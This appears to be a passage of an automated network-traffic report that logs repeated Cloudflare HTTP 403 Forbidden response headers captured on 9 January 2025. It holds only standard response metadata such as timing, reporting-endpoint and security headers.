Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DPFMjr%2BOehlLIfJD%2BcqKeFe%2FhHqE1O9ouq%2Fw%2FuSE2dC9J6hZbg%2FeF5ClHFDZUe4eZzvUiypQ0NJDo6q3Aok20aQHCRUbvmkC5jI1JwtAP5QZ6FmcohO3NxpY2jNo45vm52j%2BSB0aWu4VrpQR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8f60e277d02-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2033&min_rtt=2029&rtt_var=770&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1413359&cwnd=230&unsent_bytes=0&cid=0a26ef4ae7ae878a&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tOG43YqX9EsT8cSfkRVzMFbMQhODremd0ofR%2F4tnFRvfZTsqIhfe1EahJSmRSONWpI2PZOTlbHdhrsQExj1hsjF7KIEqTprQbcPojqz6ADEDzrxjQ9pV5YQh1ARsp7qetJTQQB2Tx1qggVXP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8f9da040f64-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1592&rtt_var=615&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1752701&cwnd=233&unsent_bytes=0&cid=ba5af47535dc3934&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BiW6KdFiWPiyDh6D4ZE20jGNEe78mS%2B2ZhjSxfAsnK5KrllTmWD3HVUnbRTrZmy%2FJ6NztmxmsgLZStRbYPV49R1IQRwhw37S7mgRPYCs5BMRQZu8TgJa3EMk93nx7sOKhO3mjvzNV0pH50yT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8fda8581a34-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2032&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1434184&cwnd=186&unsent_bytes=0&cid=9088c59407068f20&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F6%2FQ2MJ3awEM7cGiNZ6XFoWOg9XS%2FAYsQi%2FQOKCPAln%2BxzUFq6o5CV4vqoBD6A3I8BtaM8a%2FwmEZGOJD5Xx98ZhIjg230%2BXmZk6XijB1VS9aTPCVBLTNpv5zgucIAE%2B%2Ft6sz11bPV0HYDeuf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9019ef20f3d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1510&min_rtt=1502&rtt_var=580&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1861057&cwnd=143&unsent_bytes=0&cid=a89592b62cecf6e4&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:49 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7iu9bObXho3D5IPzKI%2FsS9HlTFMYipOVdDGnR3QF5%2BhSWHRsdPtUi4n%2Flyi0og55UJiI%2FQRn84aDOXqL3WexpVThTbwI7rsSXBaXiPFRZ6U1vxVnL8kWWLwictJ5SlUs1bPAQyzY8nAuXGTC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b905294c4333-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1597&min_rtt=1587&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1746411&cwnd=248&unsent_bytes=0&cid=77e02d82089e7e31&ts=124&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z7iv6DmNxSBZVZdj02Xk7VYwG5xHd7TlztHuJeTtkn94e4ZBeQcnnOPUEEuFFvvVBpCBZx4VDX1Qvx4JGEbsam7jHf3qp%2B4sX4AI6gIc5jzxFfYMsYTBHM6a0cFjZVcml%2BEE80xVx2kaWdsz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b908efaa4297-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1671&rtt_var=634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1747456&cwnd=245&unsent_bytes=0&cid=ae18f3242e7d5b21&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w727qJE4ytCIAc8dxO5BCS4JJOyel0%2FrvtNxRg%2BAKZLg3DQUSouaKFOniqhdIAF4mAsj7skGHEmvZdknvi26gCldmzOftgajeqLyPjTibUrQFTs%2BwC3wVAxQq51%2B7YGjyCis5XtRyjcxoMee"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b90caea45e71-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1594&rtt_var=607&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1788120&cwnd=238&unsent_bytes=0&cid=031457b54ec67769&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ff%2BirHOFeoNGvLdCtLReVpq9Z10M5BisCNwPqJiqgDSDeGZ4jBDBKK9JiKuaXjyB8OhQGB0DH8xMcPNqLh8BzOLlOI59yCjqsv6pYwzav34K4Uy0EEYfSvjW6LXvBTseiV9hIOUfuopKVBHB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9106c8532dc-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2017&rtt_var=760&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1437715&cwnd=241&unsent_bytes=0&cid=2b5dda82843fc28b&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:51 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n7BU%2BrCaigI4HXG9g16D%2B64kFaGOnoFk2VnZ55TrOMU1RPyLoTBFE8sAs%2F74n0YcHrHOHQk%2Fv%2BYFTHFH4x9lcXyaKDSTgWza4Ng%2FEQzaMMMDPMG8Q0v1VUpfi%2FeHGvzFN26xgA%2BZhSslwETK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9140f3a43f1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2366&min_rtt=2365&rtt_var=890&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1227406&cwnd=218&unsent_bytes=0&cid=5115a65d795df48e&ts=122&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8rb0B4o4NcTZOPuuD3OgNT99n6zENjwDTzhSwLestGXcs4KuFia70KRZCYUPZr36gUI9l3sttOB2WXMFX8s2%2FPxTAO66wQvo7WMaWCtdVMcwwBQ%2F73zHsW5bd9NGE5lJ2IthX46I%2FKKCpdzK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b917e8ff7ca8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1984&rtt_var=759&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1427872&cwnd=238&unsent_bytes=0&cid=dd93a33773cf84ac&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PdpE1FwceNuQHMfwZWV6%2F3jsrtTFTtcM8kQZlrbIifWZ%2B%2Fr%2B0ZDbLnN39jx4D4tcDOoAw1jaxxsv5nGtKJDZ3Vhis2Y8uYS323KFFwsCvPqeMTYm5zhb55jhqDJhVrMz%2BrTLJzDh6EHEn5Ku"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b91d8e19c334-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1451&min_rtt=1432&rtt_var=575&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1842271&cwnd=247&unsent_bytes=0&cid=588a8ea6efd27c27&ts=224&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:53 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TF521%2FUf1IBNvGw%2Fom4p1BjDRfdcxQ%2FwP61DspNggaqkdceX7qQY9T2%2FTR5CQ5mGt39Kbqe4wCLpaEsJCoF1SPzZlDTpys94XNKpX5t%2FNVyAwNatDcOn%2BNFQVm1phME71%2BQSP0Qm5m9zCvac"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9216e458c7e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1982&rtt_var=762&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1418853&cwnd=191&unsent_bytes=0&cid=c91b6fbcce0ffff3&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:54 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UD9ZmrFtLOICBbGZyTUYaXO6CGiYTtQLbBgyQOJl14KkRsu3FfuXcGJ1sz9EkDfQnl5XttuamyDcYzRSp67X4h1%2BfdKCc%2B8R064JxiM%2BW8NBLBjP5I0gXLIB%2FCDwkpw1W3hYERGhzTvB3kKU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9251d2d42f4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1591&rtt_var=607&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1788120&cwnd=231&unsent_bytes=0&cid=b7b61f37304ecc5e&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:55 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X7K6EWan%2FkxW8b5vHsSVHg5gsCEm3cx2%2BeDKDOqL4xQ3h5cDes%2BTm0IrQExr21hJuaS%2FYBg9N65n3wmCnwzRuCk3hfjtHRBkBfO0%2B6%2B1kqmkingtTz%2BbDkCDva6b2mav%2FNcJWrCDwbBl8ZUJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b928b9147289-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2184&min_rtt=2100&rtt_var=848&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1390476&cwnd=238&unsent_bytes=0&cid=029686436c739741&ts=122&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:55 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OC1cS%2FhzKZbTFrFyPMpZgI0PXvzAaR9XzSyi62mfsTyCC1yMY%2F1NrrZsPr8qd%2FPRDYxHF2Ggx5sXlR5zJPLR9hNeHLZTobfHFRGihM8OxpdKEOBChxmyqtRFpfrMdE68Jtff0mVwRtsDquIR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b92c8ccd7c9f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2020&min_rtt=2017&rtt_var=759&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1447694&cwnd=217&unsent_bytes=0&cid=df17c0bec27e9946&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:56 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDM4Ejq2dlJzRY6eYqLStp%2BRgJLu4T9xK572NvF5JqEr6T601QowNEJvDSf5jjCSrr%2FzWwdJ9THQpsqDsfNKAZclQ1rwHJk5R5rX9j4%2BVHpK7r7zvVF81fWYfZ%2Fa7OlTJPWiufwIAnktz6uH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9323f4203d5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1958&min_rtt=1952&rtt_var=745&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1454907&cwnd=228&unsent_bytes=0&cid=74eecfe8a94acf6c&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5D1b055NNgwGpPL9qZz7zLDFCxFhRanMy0Ym%2FoY1jcc2qmibTGWRUjzBHFhHW7VLxACaeBZ6gJZGaDfq%2F6BsKeWlcIMky1c4Cy3qWlG7cwQQDLsbzkeIYZRt0%2Bm3OiytAdLiBywlpJtTxnML"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b935d8db4326-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2123&min_rtt=2115&rtt_var=810&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1336384&cwnd=178&unsent_bytes=0&cid=5c152e315c5ce49b&ts=123&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xQBFLmMvvYTqdlEGxVRLgoTAg5gt%2BkyuGd0ToNaOBfkmlY5t5g0YwMAjscgHevm%2Fe0Speo2kJg%2BPLw5FEKPfmjn5ROsBsCi2pdrkx6mGLFRyJjnKey9qlx47zD8kjxBrJ4bZKjiJue8upMdN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b939afbb0cc6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1496&min_rtt=1490&rtt_var=571&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1894873&cwnd=180&unsent_bytes=0&cid=0eac6d4f985052a0&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:58 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3bfA0zhEftViEE9%2BfUhc5AzeuiRlQSb7Jv5UIa3RLQ0AybtmYKuttrH%2F2DMv3ZbPRRZvQ%2FFU00bhVUtImbfaE9OIpA2nRr2Tjlrd1Qd9UJE%2Bs4n0wn4W3r%2Bwc8Mz7aWbHM6aETcXwOVvPMnx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b93da8a10fa9-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1523&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1917268&cwnd=252&unsent_bytes=0&cid=1d4e6caeb44de10a&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RTum85Jmz6VPUe3FTDfcFkJOVif%2FYYheHxB4mkssWZnkHAWDTG1xj%2BXNYNgfiWSYou0sYloiTtKjnryzKpsGUsxh4QRfBT0hOR51Xt0rbzQAfQjSFKt%2FChiGYdMg2%2F4wt8hcnxensA3wmXYW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9417dfe7cb2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1954&min_rtt=1950&rtt_var=739&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1472516&cwnd=216&unsent_bytes=0&cid=1d68cecf05fd362c&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:59 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K9UrMmAw7l97I3S3r49YMFFcZAyYQhY6MEHHM%2FEjneMJ3otj4JVokVX%2B1oFHo3rXate4E0J1UJGT0asTiLpuuPiEhvug800HiCdGtnxp%2Bnt65fWSxcth8DvBPFKjT13dJQbXR0wSkZ6kzV0U"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9452e2418b4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1548&rtt_var=584&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1867007&cwnd=201&unsent_bytes=0&cid=1d11b4f78c46d9e9&ts=126&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fRx2cCfrkeI1mzl3FV0KJUuVHdDLDRUMR7809m7LKiveWstaWXQ2mXbXCEqV7GjEgKcBVpVZPIrsfzkIfJ2CA5zthFOen5jC5nrfxmgsqWPXuakPMZ4JhRuVkp%2F09%2FZwwdV5xuTSNAXtPEQc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b948f85332ca-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2017&min_rtt=2011&rtt_var=768&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1413359&cwnd=221&unsent_bytes=0&cid=620832426e3a5d43&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:00 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eHdXkRi1JzcBeQhxukGCIrj9NRxAQFrn828TicZE3Tfw%2BP46axLXqy1uV722Zq8OYPpnSNMfaoE1UQT0FdfSA1HDrN9zmyigTFMt257KJ1Bir7InkqJUTRWvxWIVuYOytFn29hVcikVAJN5%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b94ccbe5de95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1672&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1746411&cwnd=242&unsent_bytes=0&cid=cab376b1858d5916&ts=125&x=0"
